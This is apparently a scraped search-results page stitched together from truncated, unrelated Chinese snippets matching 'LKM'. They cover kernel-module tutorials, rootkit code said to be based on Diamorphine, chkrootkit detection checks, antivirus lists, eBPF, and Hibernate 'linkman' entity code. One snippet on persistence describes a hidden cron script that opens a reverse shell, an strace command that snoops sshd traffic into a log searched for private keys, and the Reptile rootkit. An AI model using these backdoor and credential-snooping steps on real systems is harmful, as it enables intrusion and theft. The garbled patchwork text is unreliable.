对于这个系列文章,我的规划如下:这一系列文章的重点集中在介绍linux rootkit中最讨论最多也是最受欢迎的一种:loadable kernel module rootkit(LKM rootkit...LKM(可加载内核模块) LKM的全称为Loadable Kernel Modules,中文名为可加载内核模块,主要作用是用来扩展linux的内核功能。...1.基本的LKM的编写 下面是一个最基本的LKM的实现,接下来我会对这个例子进行讲解 /*lkm.c*/ #include linux/module.h> #include linux/...kernel.h> #include linux/init.h> static int lkm_init(void) { printk("Arciryas:module...参考资料 关于lkm的编写,《linux设备驱动程序(第三版)》的第二章"构造和运行模块"里有基础的讲解。
环境基于centos8.3 先安装kernel-devel yum install kernel-devel -y 删除不存在的build rm -rf...
#include linux/init.h> #include linux/module.h> #include linux/kernel.h> #include linux/sched.h>.../module.h> #include linux/delay.h> //msleep #include linux/kprobes.h> #include linux/file.h> //fget...fput #include linux/syscalls.h> MODULE_AUTHOR("dwt"); MODULE_DESCRIPTION("my-lkm-test"); MODULE_LICENSE..._ #include linux/kernel.h> #include linux/version.h> #include linux/fs.h> //#include linux/file.h...> #define LKM_INFO "MY_LKM" #define LKM_VERSION "MY_LKM_TEST 1.0.0" #if LINUX_VERSION_CODE > KERNEL_VERSION
编写内核模块源文件 // lkm_example.c #include linux/init.h> //必须包含,里面定义了__init和__exit两个宏,分别用来指定模块初始化函数和模块卸载函数...#include linux/module.h> //必须包含,定义了动态加载内核模块所需的必要信息 #include linux/kernel.h> //包含了内核常用API,比如内核打印函数printk...() //__init会将lkm_example_init函数标记为初始化函数,模块被装载到内核时会调用该函数。...\n"); } module_init(lkm_example_init); //引导内核加载模块 module_exit(lkm_example_exit); //引导内核卸载模块 MODULE_LICENSE.../module.h> #include linux/init.h> #include linux/kernel.h> extern void fun1(); static int __init
第 2 部分深入探讨了 LKM(可加载内核模块)和内核空间 rootkit 的世界,以探索 LKM 是什么、攻击者如何滥用它们以及如何检测它们。 ...在 Linux(和其他类 Unix 操作系统)中,系统内存分为两个不同的域:用户空间和内核空间。...创建一个名为 lkmdemo.c 的文件,并复制下面的模块代码(代码基于 Diamorphine rootkit):#includelinux/sched.h>#includelinux/module.h...>#includelinux/syscalls.h>#includelinux/dirent.h>#includelinux/slab.h>#includelinux/version.h>#include...linux/proc_ns.h>#includelinux/fdtable.h>#ifndef __NR_getdents#define __NR_getdents 141#endif#define
例如: [root@localhost sw_64-3_8]# modinfo linux-bcm-core.ko filename: linux-bcm-core.ko license:...// 由此可看出linux-bcm-core.ko 依赖于linux-kernel-bde.ko vermagic: 3.8.0-sw2f...补充: 1, 【 Linux模块间通讯方法非常的多,最便捷的方法莫过于函数符号导出,然后直接调用。】...由此启发,因为LKM中所存取的每一个符号(像函数名)也会被列在内核符号表中,有时候我们可以看内核符表就可以看到LKM调用的那些函数,如果这个LKM为非法目的,那么我们可以杀掉这个LKM....名词解释:【LKM:可装载模块(Loadable Kernel Module )】
= "t" ]; then echo "not infected"; fi fi } 检测Linux可加载内核模块 lkm () { prog="" if [ \( "${SYSTEM.../chkproc -v -v -p $PV" return 5 fi ### adore LKM [ -r /proc/$KALLSYMS ] &..." fi ### knark LKM if [ -d /proc/knark ]; then echo "Warning: Knark LKM installed...psproc[i]) { #if defined(__linux__) if (!...kill(i, 0)) */ { #if defined(__linux__) if(!
, lkm_gender, lkm_phone, * lkm_mobile, lkm_email, lkm_qq, lkm_position, lkm_cust_id) values (?...Hibernate: insert into linkman (lkm_name, * lkm_gender, lkm_phone, lkm_mobile, lkm_email, lkm_qq,...Hibernate: update * linkman set lkm_name=?, lkm_gender=?, lkm_phone=?, lkm_mobile=?..., * lkm_email=?, lkm_qq=?, lkm_position=?, lkm_cust_id=? where lkm_id=?..., lkm_email=?, lkm_qq=?, lkm_position=?, lkm_cust_id=? * where lkm_id=?
可以使用 Linux 内核模块(LKM)。用户空间一般是需要通过系统调用来访问内核空间,而 LKM 是直接加载到内核的,是内核的一部分。...LKM 最有价值的特点之一,就是可以在运行时加载,不用编译内核也不用重启机器。 ? LKM 非常有用,但是也引入了很多风险。内核和用户空间不同,要进行不同的安全考量。...换个说法,LKM 是能够让内核崩溃的。模块和内核的紧密关系,使得安全和升级成本直线升高。 eBPF 是什么 eBPF 是一个用于访问 Linux 内核服务和硬件的新方法。...2014 年第一个版本适配了 Linux 3.18,提供的功能相对较少。要使用完整的 eBPF,需要 Linux 4.4 或以上。 ? 上图对 eBPF 架构进行了一个简单的展示。...程序员能够在不增加或者修改内核代码的情况下,就能够在 Linux 内核中执行自定义的字节码。虽说还远不能整体取代 LKM,eBPF 程序可以自定义代码来和受保护的硬件资源进行交互,对内核的威胁最小。
, String lkm_name, String lkm_gender, String lkm_phone) { super(); this.lkm_id = lkm_id; this.lkm_name...= lkm_name; this.lkm_gender = lkm_gender; this.lkm_phone = lkm_phone; } public Integer getLkm_id...() { return lkm_id; } public void setLkm_id(Integer lkm_id) { this.lkm_id = lkm_id; } public...String lkm_gender) { this.lkm_gender = lkm_gender; } public String getLkm_phone() { return lkm_phone...=”lkm_name”> lkm_gender” column=”lkm_gender”> <property name
(name="lkm_mobile") private String lkm_mobile; @Column(name="lkm_phone") private String lkm_phone...String lkm_qq; @Column(name="lkm_position") private String lkm_position; @Column(name="lkm_memo...=" + lkm_id + ", lkm_name=" + lkm_name + ", lkm_gender=" + lkm_gender + ", lkm_mobile="...+ lkm_mobile + ", lkm_phone=" + lkm_phone + ", lkm_email=" + lkm_email + ", lkm_qq=" + lkm_qq...+ ", lkm_position=" + lkm_position + ", lkm_memo=" + lkm_memo + "]"; } } 4.2 一对多关联关系的相关操作
512) DEFAULT NULL COMMENT '联系人备注', PRIMARY KEY(`lkm_id`), KEY`FK_cst_linkman_lkm_cust_id` (`lkm_cust_id...; private String lkm_name; private String lkm_gender; private String lkm_phone; private String lkm_mobile...; private String lkm_email; private String lkm_qq; private String lkm_position; private String lkm_memo...; } publicvoid setLkm_email(String lkm_email) { this.lkm_email = lkm_email; } public String...name="lkm_position"/> lkm_memo"/> <!
`lkm_id`), KEY `FK_cst_linkman_lkm_cust_id` (`lkm_cust_id`), CONSTRAINT `FK_cst_linkman_lkm_cust_id...String lkm_phone;//联系人办公电话 private String lkm_mobile;//联系人手机 private String lkm_email;//联系人邮箱...private String lkm_qq;//联系人QQ private String lkm_position;//联系人职位 private String lkm_memo...name="lkm_gender" column="lkm_gender"> lkm_phone" column="lkm_phone...="lkm_email" column="lkm_email"> lkm_qq" column="lkm_qq"></property
String lkm_phone; private String lkm_email; private String lkm_qq; private String lkm_position...lkm_memo; } public void setLkm_memo(String lkm_memo) { this.lkm_memo = lkm_memo;...=" + lkm_name + ", lkm_gender=" + lkm_gender + ", lkm_mobile=" + lkm_mobile + ", lkm_phone...=" + lkm_phone + ", lkm_email=" + lkm_email + ", lkm_qq=" + lkm_qq + ", lkm_position=...String lkm_mobile; private String lkm_phone; private String lkm_email; private String lkm_qq
Linux 操作系统相当稳定和安全,但他们不可能免疫所有的威胁,所有计算机系统都可能遭受恶意软件和病毒攻击,其中包括运行基于Linux的操作系统的系统。...本文,我们将讨论针对Linux系统的7个最佳免费防病毒程序(大部分为程序均是开源的。) 1. ClamAV ClamAV 是一个免费且开源的,适用于 Linux 系统的多功能反病毒工具包。...● chkproc.c - 检查LKM木马的迹象。 ● chkdirs.c - 检查LKM木马的迹象。 ● strings.c - 执行快速和脏的字符串替换。...Sophos For Linux 针对 Linux 的 Sophos 防病毒软件是一款针对各种Linux发行版的稳定可靠的防病毒软件。...它检测并根除您的 Linux 计算机上的病毒(包括蠕虫和特洛伊木马)。 它还可以查找并阻止所有可能存储在 Linux 计算机上并传输到非Linux计算机的非 Linux 病毒。
权限维持-Linux-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1、编辑后门反弹 vim /etc/.backshell.sh #!...crontab */1 * * * * root /etc/.backshell.sh 成功反弹shell 配合挖矿木马病毒,自动挖矿,很多未授权redis数据库很多都被写入了挖矿程序 权限维持-Linux...print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &) grep 'PRIVATE KEY' /tmp/.sshd.log 权限维持-Linux.../etc/upload fi 权限维持-Linux-内核加载LKM-Rootkit后门 传统后门通过TCP连接,容易被发现 现在常用的linux维持权限的方法大多用crontab和开机自启动,...所以我们想有一个非tcp连接、流量不容易被怀疑的后门,并且在大量的shell的场景下,可以管shell,Reptile刚好是种LKM rootkit,因此具有很好的隐藏性和强大的功能。
AgentSmith-HIDS实现了以下几个主要功能: 1、内核栈模块通过Kprobe针对 execve、通信连接、进程注入、文件创建、DNS查询和LKM加载等行为设置了钩子,并且通过兼容Linux命名空间来对容器环境进行监控...3、AntiRootKit,基于Tyton实现,目前已经移植了PROC_FILE_HOOK、SYSCALL_HOOK、LKM_HIDDEN和INTERRUPTS_HOOK,目前仅支持Kernel > 3.10...2.6.25 AntiRootKit > 3.10 容器兼容性 行为源 节点名称 Host 主机名 Docker 容器名 k8s POD名 AgentSmith-HIDS的组成部分 1、内核驱动模块(LKM...local_ip":"192.168.165.153", "hostname":"test", "exe_md5":"863293f9fcf1af7afe5797a4b6b7aa0a" } LKM...通过挂钩load_module()实现,使用样例如下: { "uid":"0", "data_type":"603", "exe":"/usr/bin/kmod", "lkm_file
Linux的安全问题始终未能在大众范围里引起注意。但对于专业人士而言,Linux系统上的攻击虽然隐藏在水面之下,威胁却与日俱增。 虽然Linux操作系统相当稳定和安全,但它们可能不完全免疫威胁。...chkproc.c - 检查LKM木马的迹象。 chkdirs.c - 这检查LKM木马的迹象。 strings.c - 它执行快速和脏的字符串替换。 chkutmp.c - 检查utmp删除。...Sophos For Linux 针对Linux的Sophos防病毒软件是一款针对各种Linux发行版的稳定可靠的防病毒软件。 它检测并根除您的Linux计算机上的病毒(包括蠕虫和特洛伊木马)。...它还可以查找并阻止所有可能存储在Linux计算机上并传输到非Linux计算机的非Linux病毒。 您可以从命令行界面以root身份运行所有命令(用于运行按需扫描的savscan除外)。...F-PROT对于Linux 适用于Linux工作站的F-PROT防病毒软件是一款免费强大的扫描引擎,适用于家庭/个人工作站。
") private Long lkmId; @Column(name="lkm_name") private String lkmName; @Column(name="lkm_gender"...) private String lkmGender; @Column(name="lkm_phone") private String lkmPhone; @Column(name="lkm_mobile...") private String lkmMobile; @Column(name="lkm_email") private String lkmEmail; @Column(name="lkm_position...") private String lkmPosition; @Column(name="lkm_memo") private String lkmMemo; //多对一关系映射:多个联系人对应客户...@ManyToOne(targetEntity=Customer.class) @JoinColumn(name="lkm_cust_id",referencedColumnName="cust_id
Linux中的一些常用文件 简介 这两天做资源自动化交付的项目,写的脚本比较多 ,在写脚本的过程中,遇到了很多Linux中的常用文件,这里列举一下,希望对大家能有所帮助吧。...在Linux系统中,系统调用是操作系统提供给应用程序使用操作系统服务的重要接口,但同时也正是通过系统调用机制,操作系统屏蔽了用户直接访问系统内核的可能性。...幸运的是Linux提供了LKM机制可以使我们在内核空间工作,在LKM机制中一个重要的组成部分就是proc伪文件系统,它为用户提供了动态操作Linux内核信息的接口,是除系统调用之外另一个重要的Linux
领取专属 10元无门槛券
手把手带您无忧上云